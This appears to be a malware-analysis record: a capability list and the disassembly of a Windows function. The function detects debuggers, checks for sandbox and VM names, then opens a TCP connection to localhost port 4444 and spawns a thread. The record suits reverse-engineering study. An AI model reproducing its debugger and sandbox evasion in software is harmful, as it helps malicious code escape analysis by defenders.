Function at 0x140001140
Capabilities:
Act as tcp client
Check for debugger via api
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub rsp, 0x308
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001196
lea rcx, str.Failed_to_initialize_Winsock._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x308
ret
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400011ba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp eax, 1
je 0x1400011ba
xor eax, eax
jmp 0x1400011bf
mov eax, 1
test eax, eax
jne 0x1400013c6
mov r8d, 0x104
lea rdx, [rsp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.sandbox
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400013c6
lea rdx, str.VMware
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400013c6
lea rdx, str.VirtualBox
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400013c6
lea rcx, str.ws2_32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001397
lea rdx, str.send
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001397
mov qword [rsp + 0x300], rbx
mov ecx, 0x115c
mov ebx, 2
mov word [rsp + 0x30], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x34]
mov ecx, ebx
lea rdx, str.127.0.0.1
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov edx, 1
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140005680], rax
cmp rax, 0xffffffffffffffff
jne 0x1400012ca
lea rcx, str.Socket_creation_failed._n
call fcn.140001010
jmp 0x14000133e
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400012ec
lea rcx, str.Connection_failed._n
jmp 0x14000132c
lea rcx, str.Connected_to_server._n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x28], 0
lea r8, [0x140001070]
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001369
lea rcx, str.Failed_to_create_thread._n
call fcn.140001010
mov rcx, qword [0x140005680]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rbx, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x308
ret
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005680]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x140001349
lea rcx, str.Failed_to_resolve_function._n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x308
ret
lea rcx, str.Debugger_or_sandbox_detected._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3